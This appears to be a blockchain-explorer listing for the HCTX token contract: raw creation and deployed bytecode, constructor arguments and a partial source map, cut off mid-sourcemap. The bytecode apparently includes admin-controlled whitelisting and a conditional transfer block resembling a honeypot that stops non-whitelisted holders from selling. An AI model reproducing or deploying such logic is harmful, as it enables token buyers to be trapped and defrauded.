b6001600160a01b031660009081526005602052604090205490565b610194600081565b6101706102a4366004611144565b61051b565b61019460035481565b61021b6102c036600461107e565b6105b1565b6101706102d33660046110fd565b6105d2565b6101aa6105fd565b6101706102ee36600461107e565b61060c565b61021b6103013660046110fd565b61061a565b61021b6103143660046110fd565b61065c565b610194610327366004611169565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b61021b6103603660046111a9565b610681565b60006001600160e01b03198216637965db0b60e01b148061039657506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600880546103ab90611289565b80601f01602080910402602001604051908101604052809291908181526020018280546103d790611289565b80156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b5050505050905090565b60003361043c8185856107e1565b5060019392505050565b6000336104548582856107ee565b61045f85858561086b565b506001949350505050565b600082815260046020526040902060010154610485816108ca565b61048f83836108d7565b50505050565b6001600160a01b03811633146104be5760405163334bd91960e11b815260040160405180910390fd5b6104c8828261096b565b505050565b60006104d8816108ca565b644b554f594960d81b83036104c857506001600160a01b03166000908152602081905260409020805460ff1916905550565b6000610515816108ca565b50600355565b600080610527816108ca565b846105a45760405163a9059cbb60e01b8152336004820152602481018490526001600160a01b0385169063a9059cbb906044016020604051808303816000875af1158015610579573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059d91906112c3565b91506105a9565b600091505b509392505050565b60006105bc816108ca565b6000806105cb858560016109d8565b5050505050565b60009182526004602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600980546103ab90611289565b60003361043c81858561086b565b6000610625816108ca565b644b554f594960d81b83036104c8576001600160a01b0382166000908152602081905260409020805460ff19166001179055505050565b600082815260046020526040902060010154610677816108ca565b61048f838361096b565b600061068c816108ca565b60008490506000816001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f591906112e5565b60ff16905060005b85518160ff1610156107d857600061071683600a611402565b610720908761140e565b9050836001600160a01b031663a9059cbb888460ff168151811061074657610746611425565b6020026020010151836040518363ffffffff1660e01b81526004016107809291906001600160a01b03929092168252602082015260400190565b6020604051808303816000875af115801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c391906112c3565b505080806107d09061143b565b9150506106fd565b50505050505050565b6104c88383836001610a24565b6001600160a01b03838116600090815260066020908152604080832093861683529290522054600019811461048f578181101561085c57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064015b60405180910390fd5b61048f84848484036000610a24565b6001600160a01b03831661089557604051634b637e8f60e11b815260006004820152602401610853565b6001600160a01b0382166108bf5760405163ec442f0560e01b815260006004820152602401610853565b6104c8838383610b03565b6108d48133610c38565b50565b60006108e383836105d2565b6109635760008381526004602090815260408083206001600160a01b03861684529091529020805460ff1916600117905561091b3390565b6001600160a01b0316826001600160a01b0316847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4506001610396565b506000610396565b600061097783836105d2565b156109635760008381526004602090815260408083206001600160a01b0386168085529252808320805460ff1916905551339286917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a4506001610396565b8015610a19576109f082670de0b6b3a764000061140e565b6001600160a01b0384166000908152600160209081526040808320600201909152902055505050565b6109f082600061140e565b6001600160a01b038416610a4e5760405163e602df0560e01b815260006004820152602401610853565b6001600160a01b038316610a7857604051634a1406b160e11b815260006004820152602401610853565b610a828484610c75565b6001600160a01b038085166000908152600660209081526040808320938716835292905220829055801561048f57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610af591815260200190565b60405180910390a350505050565b610b0e838383610cec565b6001600160a01b038316610b39578060076000828254610b2e919061145a565b90915550610bab9050565b6001600160a01b03831660009081526005602052604090205481811015610b8c5760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610853565b6001600160a01b03841660009081526005602052604090209082900390555b6001600160a01b038216610bc757600780548290039055610be6565b6001600160a01b03821660009081526005602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2b91815260200190565b60405180910390a3505050565b610c4282826105d2565b610c715760405163e2517d3f60e01b81526001600160a01b038216600482015260248101839052604401610853565b5050565b6003546032148015610c945750600a546001600160a01b038281169116145b15610c71576001600160a01b0381163b610c71576001600160a01b03821660009081526020819052604090205460ff16610c7157604051634b637e8f60e11b81526001600160a01b0383166004820152602401610853565b6002546001600160a01b0390811690841603610d0c576104c88282610d16565b6104c88382610dd1565b6001600160a01b0382163b15610d6a576001600160a01b03821660009081526020819052604090205460ff16610c715760405163ec442f0560e01b81526001600160a01b0383166004820152602401610853565b6001600160a01b0382166000908152600160205260408120549003610c71576001600160a01b03821660009081526020819052604090205460ff16610c71576001600160a01b0382166000908152600160208190526040822055610c7190839083906109d8565b610ddc6000836105d2565b610c71576001600160a01b03821660009081526020819052604090205460ff16610c7157600354603203610e85576001600160a01b0382166000908152600160208181526040808420909201905290205480156104c8578181118015610e425750600082115b15610e61576000610e53838361146d565b905061048f84826000610f5f565b604051634b637e8f60e11b81526001600160a01b0384166004820152602401610853565b80610eb0836001600160a01b0316600090815260016020908152604080832060020190915290205490565b10158015610ebe5750600081115b15610f01576001600160a01b038216600090815260016020908152604080832060020190915281208054839290610ef690849061146d565b90915550610c719050565b80610f2c836001600160a01b0316600090815260016020908152604080832060020190915290205490565b1080610f36575080155b15610c7157604051634b637e8f60e11b81526001600160a01b0383166004820152602401610853565b8015610fbb576001600160a01b038316600090815260016020819052604090912055610f9382670de0b6b3a764000061140e565b6001600160a01b03841660009081526001602081815260408084209092019052902055505050565b506001600160a01b039190911660009081526001602081815260408084209092019052902055565b600060208284031215610ff557600080fd5b81356001600160e01b03198116811461100d57600080fd5b9392505050565b600060208083528351808285015260005b8181101561104157858101830151858201604001528201611025565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461107957600080fd5b919050565b6000806040838503121561109157600080fd5b61109a83611062565b946020939093013593505050565b6000806000606084860312156110bd57600080fd5b6110c684611062565b92506110d460208501611062565b9150604084013590509250925092565b6000602082840312156110f657600080fd5b5035919050565b6000806040838503121561111057600080fd5b8235915061112060208401611062565b90509250929050565b60006020828403121561113b57600080fd5b61100d82611062565b60008060006060848603121561115957600080fd5b833592506110d460208501611062565b6000806040838503121561117c57600080fd5b61118583611062565b915061112060208401611062565b634e487b7160e01b600052604160045260246000fd5b6000806000606084860312156111be57600080fd5b6111c784611062565b925060208085013567ffffffffffffffff808211156111e557600080fd5b818701915087601f8301126111f957600080fd5b81358181111561120b5761120b611193565b8060051b604051601f19603f8301168101818110858211171561123057611230611193565b60405291825284820192508381018501918a83111561124e57600080fd5b938501935b828510156112735761126485611062565b84529385019392850192611253565b979a979950505050604095909501359450505050565b600181811c9082168061129d57607f821691505b6020821081036112bd57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156112d557600080fd5b8151801515811461100d57600080fd5b6000602082840312156112f757600080fd5b815160ff8116811461100d57600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561135957816000190482111561133f5761133f611308565b8085161561134c57918102915b93841c9390800290611323565b509250929050565b60008261137057506001610396565b8161137d57506000610396565b8160018114611393576002811461139d576113b9565b6001915050610396565b60ff8411156113ae576113ae611308565b50506001821b610396565b5060208310610133831016604e8410600b84101617156113dc575081810a610396565b6113e6838361131e565b80600019048211156113fa576113fa611308565b029392505050565b600061100d8383611361565b808202811582820484141761039657610396611308565b634e487b7160e01b600052603260045260246000fd5b600060ff821660ff810361145157611451611308565b60010192915050565b8082018082111561039657610396611308565b818103818111156103965761039661130856fea2646970667358221220d0bb18703a480871838b1dbff3b4cd3dc9384d9858d890fa34971b9f2551e3f264736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000ebad81f62415e7485a35dd521dad8a192ffaabf60000000000000000000000000000000000000000000000000000000000000004484354580000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044843545800000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b41146102d8578063a9059cbb146102e0578063b42b36bd146102f3578063d547741f14610306578063dd62ed3e14610319578063e08a50a01461035257600080fd5b806370a082311461026557806375b238fc1461028e578063879cd8281461029657806388235460146102a95780638c8ca7b7146102b257806391d14854146102c557600080fd5b8063248a9ca311610115578063248a9ca3146101e55780632f2ff15d14610208578063313ce5671461021d57806336568abe1461022c5780633f3646db1461023f57806345ada8121461025257600080fd5b806301ffc9a71461015d57806305d664dc1461018557806306fdde03146101a2578063095ea7b3146101b757806318160ddd146101ca57806323b872dd146101d2575b600080fd5b61017061016b366004610fe3565b610365565b60405190151581526020015b60405180910390f35b610194644b554f594960d81b81565b60405190815260200161017c565b6101aa61039c565b60405161017c9190611014565b6101706101c536600461107e565b61042e565b600754610194565b6101706101e03660046110a8565b610446565b6101946101f33660046110e4565b60009081526004602052604090206001015490565b61021b6102163660046110fd565b61046a565b005b6040516012815260200161017c565b61021b61023a3660046110fd565b610495565b61021b61024d3660046110fd565b6104cd565b61021b6102603660046110e4565b61050a565b610194610273366004611129565b6001600160a01b031660009081526005602052604090205490565b610194600081565b6101706102a4366004611144565b61051b565b61019460035481565b61021b6102c036600461107e565b6105b1565b6101706102d33660046110fd565b6105d2565b6101aa6105fd565b6101706102ee36600461107e565b61060c565b61021b6103013660046110fd565b61061a565b61021b6103143660046110fd565b61065c565b610194610327366004611169565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b61021b6103603660046111a9565b610681565b60006001600160e01b03198216637965db0b60e01b148061039657506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600880546103ab90611289565b80601f01602080910402602001604051908101604052809291908181526020018280546103d790611289565b80156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b5050505050905090565b60003361043c8185856107e1565b5060019392505050565b6000336104548582856107ee565b61045f85858561086b565b506001949350505050565b600082815260046020526040902060010154610485816108ca565b61048f83836108d7565b50505050565b6001600160a01b03811633146104be5760405163334bd91960e11b815260040160405180910390fd5b6104c8828261096b565b505050565b60006104d8816108ca565b644b554f594960d81b83036104c857506001600160a01b03166000908152602081905260409020805460ff1916905550565b6000610515816108ca565b50600355565b600080610527816108ca565b846105a45760405163a9059cbb60e01b8152336004820152602481018490526001600160a01b0385169063a9059cbb906044016020604051808303816000875af1158015610579573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059d91906112c3565b91506105a9565b600091505b509392505050565b60006105bc816108ca565b6000806105cb858560016109d8565b5050505050565b60009182526004602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600980546103ab90611289565b60003361043c81858561086b565b6000610625816108ca565b644b554f594960d81b83036104c8576001600160a01b0382166000908152602081905260409020805460ff19166001179055505050565b600082815260046020526040902060010154610677816108ca565b61048f838361096b565b600061068c816108ca565b60008490506000816001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f591906112e5565b60ff16905060005b85518160ff1610156107d857600061071683600a611402565b610720908761140e565b9050836001600160a01b031663a9059cbb888460ff168151811061074657610746611425565b6020026020010151836040518363ffffffff1660e01b81526004016107809291906001600160a01b03929092168252602082015260400190565b6020604051808303816000875af115801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c391906112c3565b505080806107d09061143b565b9150506106fd565b50505050505050565b6104c88383836001610a24565b6001600160a01b03838116600090815260066020908152604080832093861683529290522054600019811461048f578181101561085c57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064015b60405180910390fd5b61048f84848484036000610a24565b6001600160a01b03831661089557604051634b637e8f60e11b815260006004820152602401610853565b6001600160a01b0382166108bf5760405163ec442f0560e01b815260006004820152602401610853565b6104c8838383610b03565b6108d48133610c38565b50565b60006108e383836105d2565b6109635760008381526004602090815260408083206001600160a01b03861684529091529020805460ff1916600117905561091b3390565b6001600160a01b0316826001600160a01b0316847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4506001610396565b506000610396565b600061097783836105d2565b156109635760008381526004602090815260408083206001600160a01b0386168085529252808320805460ff1916905551339286917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a4506001610396565b8015610a19576109f082670de0b6b3a764000061140e565b6001600160a01b0384166000908152600160209081526040808320600201909152902055505050565b6109f082600061140e565b6001600160a01b038416610a4e5760405163e602df0560e01b815260006004820152602401610853565b6001600160a01b038316610a7857604051634a1406b160e11b815260006004820152602401610853565b610a828484610c75565b6001600160a01b038085166000908152600660209081526040808320938716835292905220829055801561048f57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610af591815260200190565b60405180910390a350505050565b610b0e838383610cec565b6001600160a01b038316610b39578060076000828254610b2e919061145a565b90915550610bab9050565b6001600160a01b03831660009081526005602052604090205481811015610b8c5760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610853565b6001600160a01b03841660009081526005602052604090209082900390555b6001600160a01b038216610bc757600780548290039055610be6565b6001600160a01b03821660009081526005602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2b91815260200190565b60405180910390a3505050565b610c4282826105d2565b610c715760405163e2517d3f60e01b81526001600160a01b038216600482015260248101839052604401610853565b5050565b6003546032148015610c945750600a546001600160a01b038281169116145b15610c71576001600160a01b0381163b610c71576001600160a01b03821660009081526020819052604090205460ff16610c7157604051634b637e8f60e11b81526001600160a01b0383166004820152602401610853565b6002546001600160a01b0390811690841603610d0c576104c88282610d16565b6104c88382610dd1565b6001600160a01b0382163b15610d6a576001600160a01b03821660009081526020819052604090205460ff16610c715760405163ec442f0560e01b81526001600160a01b0383166004820152602401610853565b6001600160a01b0382166000908152600160205260408120549003610c71576001600160a01b03821660009081526020819052604090205460ff16610c71576001600160a01b0382166000908152600160208190526040822055610c7190839083906109d8565b610ddc6000836105d2565b610c71576001600160a01b03821660009081526020819052604090205460ff16610c7157600354603203610e85576001600160a01b0382166000908152600160208181526040808420909201905290205480156104c8578181118015610e425750600082115b15610e61576000610e53838361146d565b905061048f84826000610f5f565b604051634b637e8f60e11b81526001600160a01b0384166004820152602401610853565b80610eb0836001600160a01b0316600090815260016020908152604080832060020190915290205490565b10158015610ebe5750600081115b15610f01576001600160a01b038216600090815260016020908152604080832060020190915281208054839290610ef690849061146d565b90915550610c719050565b80610f2c836001600160a01b0316600090815260016020908152604080832060020190915290205490565b1080610f36575080155b15610c7157604051634b637e8f60e11b81526001600160a01b0383166004820152602401610853565b8015610fbb576001600160a01b038316600090815260016020819052604090912055610f9382670de0b6b3a764000061140e565b6001600160a01b03841660009081526001602081815260408084209092019052902055505050565b506001600160a01b039190911660009081526001602081815260408084209092019052902055565b600060208284031215610ff557600080fd5b81356001600160e01b03198116811461100d57600080fd5b9392505050565b600060208083528351808285015260005b8181101561104157858101830151858201604001528201611025565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461107957600080fd5b919050565b6000806040838503121561109157600080fd5b61109a83611062565b946020939093013593505050565b6000806000606084860312156110bd57600080fd5b6110c684611062565b92506110d460208501611062565b9150604084013590509250925092565b6000602082840312156110f657600080fd5b5035919050565b6000806040838503121561111057600080fd5b8235915061112060208401611062565b90509250929050565b60006020828403121561113b57600080fd5b61100d82611062565b60008060006060848603121561115957600080fd5b833592506110d460208501611062565b6000806040838503121561117c57600080fd5b61118583611062565b915061112060208401611062565b634e487b7160e01b600052604160045260246000fd5b6000806000606084860312156111be57600080fd5b6111c784611062565b925060208085013567ffffffffffffffff808211156111e557600080fd5b818701915087601f8301126111f957600080fd5b81358181111561120b5761120b611193565b8060051b604051601f19603f8301168101818110858211171561123057611230611193565b60405291825284820192508381018501918a83111561124e57600080fd5b938501935b828510156112735761126485611062565b84529385019392850192611253565b979a979950505050604095909501359450505050565b600181811c9082168061129d57607f821691505b6020821081036112bd57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156112d557600080fd5b8151801515811461100d57600080fd5b6000602082840312156112f757600080fd5b815160ff8116811461100d57600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561135957816000190482111561133f5761133f611308565b8085161561134c57918102915b93841c9390800290611323565b509250929050565b60008261137057506001610396565b8161137d57506000610396565b8160018114611393576002811461139d576113b9565b6001915050610396565b60ff8411156113ae576113ae611308565b50506001821b610396565b5060208310610133831016604e8410600b84101617156113dc575081810a610396565b6113e6838361131e565b80600019048211156113fa576113fa611308565b029392505050565b600061100d8383611361565b808202811582820484141761039657610396611308565b634e487b7160e01b600052603260045260246000fd5b600060ff821660ff810361145157611451611308565b60010192915050565b8082018082111561039657610396611308565b818103818111156103965761039661130856fea2646970667358221220d0bb18703a480871838b1dbff3b4cd3dc9384d9858d890fa34971b9f2551e3f264736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000ebad81f62415e7485a35dd521dad8a192ffaabf60000000000000000000000000000000000000000000000000000000000000004484354580000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044843545800000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): HCTX
Arg [1] : _symbol (string): HCTX
Arg [2] : value (uint256): 100000000
Arg [3] : account (address): 0xEbAD81f62415e7485A35dD521DAd8A192FfaaBF6
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 000000000000000000000000ebad81f62415e7485a35dd521dad8a192ffaabf6
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4843545800000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4843545800000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
24316:653:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6016:280;;;;;;:::i;:::-;;:::i;:::-;;;470:14:1;;463:22;445:41;;433:2;418:18;6016:280:0;;;;;;;;5876:44;;-1:-1:-1;;;5876:44:0;;;;;643:25:1;;;631:2;616:18;5876:44:0;497:177:1;11202:91:0;;;:::i;:::-;;;;;;;:::i;12110:222::-;;;;;;:::i;:::-;;:::i;11496:99::-;11575:12;;11496:99;;12340:283;;;;;;:::i;:::-;;:::i;8865:122::-;;;;;;:::i;:::-;8930:7;8957:12;;;:6;:12;;;;;:22;;;;8865:122;8995:170;;;;;;:::i;:::-;;:::i;:::-;;11404:84;;;11478:2;2770:36:1;;2758:2;2743:18;11404:84:0;2628:184:1;9353:272:0;;;;;;:::i;:::-;;:::i;7745:162::-;;;;;;:::i;:::-;;:::i;7206:94::-;;;;;;:::i;:::-;;:::i;11603:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11695:18:0;11668:7;11695:18;;;:9;:18;;;;;;;11603:118;5826:41;;5863:4;5826:41;;8549:308;;;;;;:::i;:::-;;:::i;1328:21::-;;;;;;6813:385;;;;;;:::i;:::-;;:::i;6304:179::-;;;;;;:::i;:::-;;:::i;11301:95::-;;;:::i;11729:182::-;;;;;;:::i;:::-;;:::i;7578:159::-;;;;;;:::i;:::-;;:::i;9173:172::-;;;;;;:::i;:::-;;:::i;11919:183::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12067:18:0;;;12035:7;12067:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11919:183;17490:396;;;;;;:::i;:::-;;:::i;6016:280::-;6146:4;-1:-1:-1;;;;;;6188:47:0;;-1:-1:-1;;;6188:47:0;;:100;;-1:-1:-1;;;;;;;;;;2571:40:0;;;6252:36;6168:120;6016:280;-1:-1:-1;;6016:280:0:o;11202:91::-;11247:13;11280:5;11273:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11202:91;:::o;12110:222::-;12210:4;1438:10;12271:31;1438:10;12287:7;12296:5;12271:8;:31::i;:::-;-1:-1:-1;12320:4:0;;12110:222;-1:-1:-1;;;12110:222:0:o;12340:283::-;12461:4;1438:10;12519:37;12535:4;1438:10;12550:5;12519:15;:37::i;:::-;12567:26;12577:4;12583:2;12587:5;12567:9;:26::i;:::-;-1:-1:-1;12611:4:0;;12340:283;-1:-1:-1;;;;12340:283:0:o;8995:170::-;8930:7;8957:12;;;:6;:12;;;;;:22;;;5972:16;5983:4;5972:10;:16::i;:::-;9132:25:::1;9143:4;9149:7;9132:10;:25::i;:::-;;8995:170:::0;;;:::o;9353:272::-;-1:-1:-1;;;;;9470:34:0;;1438:10;9470:34;9466:104;;9528:30;;-1:-1:-1;;;9528:30:0;;;;;;;;;;;9466:104;9580:37;9592:4;9598:18;9580:11;:37::i;:::-;;9353:272;;:::o;7745:162::-;5863:4;5972:16;5863:4;5972:10;:16::i;:::-;-1:-1:-1;;;7834:4:0::1;:18:::0;7831:69:::1;;-1:-1:-1::0;;;;;;7868:12:0::1;7883:5;7868:12:::0;;;::::1;::::0;;;;;;:20;;-1:-1:-1;;7868:20:0::1;::::0;;-1:-1:-1;7745:162:0:o;7206:94::-;5863:4;5972:16;5863:4;5972:10;:16::i;:::-;-1:-1:-1;7277:6:0::1;:15:::0;7206:94::o;8549:308::-;8678:12;;5972:16;8678:12;5972:10;:16::i;:::-;8706:4;8703:137:::1;;8747:38;::::0;-1:-1:-1;;;8747:38:0;;8769:10:::1;8747:38;::::0;::::1;5744:51:1::0;5811:18;;;5804:34;;;-1:-1:-1;;;;;8747:21:0;::::1;::::0;::::1;::::0;5717:18:1;;8747:38:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8740:45;;;;8703:137;8823:5;8816:12;;8703:137;8549:308:::0;;;;;;:::o;6813:385::-;5863:4;5972:16;5863:4;5972:10;:16::i;:::-;6925::::1;6952:8:::0;7151:28:::1;7160:7;7169:3;7174:4;7151:8;:28::i;:::-;6912:286;;6813:385:::0;;;:::o;6304:179::-;6417:4;6446:12;;;:6;:12;;;;;;;;-1:-1:-1;;;;;6446:29:0;;;;;;;;;;;;;;;6304:179::o;11301:95::-;11348:13;11381:7;11374:14;;;;;:::i;11729:182::-;11798:4;1438:10;11854:27;1438:10;11871:2;11875:5;11854:9;:27::i;7578:159::-;5863:4;5972:16;5863:4;5972:10;:16::i;:::-;-1:-1:-1;;;7665:4:0::1;:18:::0;7662:68:::1;;-1:-1:-1::0;;;;;7699:12:0;::::1;:6;:12:::0;;;::::1;::::0;;;;;;:19;;-1:-1:-1;;7699:19:0::1;7714:4;7699:19;::::0;;7578:159;;;:::o;9173:172::-;8930:7;8957:12;;;:6;:12;;;;;:22;;;5972:16;5983:4;5972:10;:16::i;:::-;9311:26:::1;9323:4;9329:7;9311:11;:26::i;17490:396::-:0;5863:4;5972:16;5863:4;5972:10;:16::i;:::-;17640:9:::1;17658:5;17640:24;;17675:20;17698:3;-1:-1:-1::0;;;;;17698:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17675:37;;;;17728:7;17723:156;17745:8;:15;17741:1;:19;;;17723:156;;;17782:12;17805:16;17809:12:::0;17805:2:::1;:16;:::i;:::-;17797:24;::::0;:5;:24:::1;:::i;:::-;17782:39;;17836:3;-1:-1:-1::0;;;;;17836:12:0::1;;17849:8;17858:1;17849:11;;;;;;;;;;:::i;:::-;;;;;;;17862:4;17836:31;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;5762:32:1;;;;5744:51;;5826:2;5811:18;;5804:34;5732:2;5717:18;;5570:274;17836:31:0::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17767:112;17762:3;;;;;:::i;:::-;;;;17723:156;;;;17629:257;;17490:396:::0;;;;:::o;15678:164::-;15797:37;15806:5;15813:7;15822:5;15829:4;15797:8;:37::i;16879:603::-;-1:-1:-1;;;;;12067:18:0;;;17013:24;12067:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;17080:37:0;;17076:399;;17157:5;17138:16;:24;17134:214;;;17190:142;;-1:-1:-1;;;17190:142:0;;-1:-1:-1;;;;;8620:32:1;;17190:142:0;;;8602:51:1;8669:18;;;8662:34;;;8712:18;;;8705:34;;;8575:18;;17190:142:0;;;;;;;;17134:214;17391:57;17400:5;17407:7;17435:5;17416:16;:24;17442:5;17391:8;:57::i;12631:342::-;-1:-1:-1;;;;;12749:18:0;;12745:88;;12791:30;;-1:-1:-1;;;12791:30:0;;12818:1;12791:30;;;8896:51:1;8869:18;;12791:30:0;8750:203:1;12745:88:0;-1:-1:-1;;;;;12847:16:0;;12843:88;;12887:32;;-1:-1:-1;;;12887:32:0;;12916:1;12887:32;;;8896:51:1;8869:18;;12887:32:0;8750:203:1;12843:88:0;12941:24;12949:4;12955:2;12959:5;12941:7;:24::i;6491:105::-;6558:30;6569:4;1438:10;6558;:30::i;:::-;6491:105;:::o;9892:356::-;9996:4;10023:22;10031:4;10037:7;10023;:22::i;:::-;10018:223;;10062:12;;;;:6;:12;;;;;;;;-1:-1:-1;;;;;10062:29:0;;;;;;;;;:36;;-1:-1:-1;;10062:36:0;10094:4;10062:36;;;10145:12;1438:10;;1358:98;10145:12;-1:-1:-1;;;;;10118:40:0;10136:7;-1:-1:-1;;;;;10118:40:0;10130:4;10118:40;;;;;;;;;;-1:-1:-1;10180:4:0;10173:11;;10018:223;-1:-1:-1;10224:5:0;10217:12;;10256:357;10361:4;10387:22;10395:4;10401:7;10387;:22::i;:::-;10383:223;;;10458:5;10426:12;;;:6;:12;;;;;;;;-1:-1:-1;;;;;10426:29:0;;;;;;;;;;:37;;-1:-1:-1;;10426:37:0;;;10483:40;1438:10;;10426:12;;10483:40;;10458:5;10483:40;-1:-1:-1;10545:4:0;10538:11;;8254:287;8378:9;8374:160;;;8437:12;:5;8443:6;8437:12;:::i;:::-;-1:-1:-1;;;;;8404:13:0;;;;;;:4;:13;;;;;;;;:21;;:30;;;;;:45;9580:37;9353:272;;:::o;8374:160::-;8515:7;:5;8521:1;8515:7;:::i;15850:527::-;-1:-1:-1;;;;;16006:19:0;;16002:91;;16049:32;;-1:-1:-1;;;16049:32:0;;16078:1;16049:32;;;8896:51:1;8869:18;;16049:32:0;8750:203:1;16002:91:0;-1:-1:-1;;;;;16107:21:0;;16103:92;;16152:31;;-1:-1:-1;;;16152:31:0;;16180:1;16152:31;;;8896:51:1;8869:18;;16152:31:0;8750:203:1;16103:92:0;16205:30;16220:5;16227:7;16205:14;:30::i;:::-;-1:-1:-1;;;;;16246:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;16292:78;;;;16343:7;-1:-1:-1;;;;;16327:31:0;16336:5;-1:-1:-1;;;;;16327:31:0;;16352:5;16327:31;;;;643:25:1;;631:2;616:18;;497:177;16327:31:0;;;;;;;;15850:527;;;;:::o;14386:794::-;14506:23;14513:4;14519:2;14523:5;14506:6;:23::i;:::-;-1:-1:-1;;;;;14544:18:0;;14540:369;;14595:5;14579:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;14540:369:0;;-1:-1:-1;14540:369:0;;-1:-1:-1;;;;;14655:15:0;;14633:19;14655:15;;;:9;:15;;;;;;14689:19;;;14685:117;;;14736:50;;-1:-1:-1;;;14736:50:0;;-1:-1:-1;;;;;8620:32:1;;14736:50:0;;;8602:51:1;8669:18;;;8662:34;;;8712:18;;;8705:34;;;8575:18;;14736:50:0;8400:345:1;14685:117:0;-1:-1:-1;;;;;14845:15:0;;;;;;:9;:15;;;;;14863:19;;;;14845:37;;14540:369;-1:-1:-1;;;;;14923:16:0;;14919:213;;14985:12;:21;;;;;;;14919:213;;;-1:-1:-1;;;;;15083:13:0;;;;;;:9;:13;;;;;:22;;;;;;14919:213;15162:2;-1:-1:-1;;;;;15147:25:0;15156:4;-1:-1:-1;;;;;15147:25:0;;15166:5;15147:25;;;;643::1;;631:2;616:18;;497:177;15147:25:0;;;;;;;;14386:794;;;:::o;6604:201::-;6693:22;6701:4;6707:7;6693;:22::i;:::-;6688:110;;6739:47;;-1:-1:-1;;;6739:47:0;;-1:-1:-1;;;;;5762:32:1;;6739:47:0;;;5744:51:1;5811:18;;;5804:34;;;5717:18;;6739:47:0;5570:274:1;6688:110:0;6604: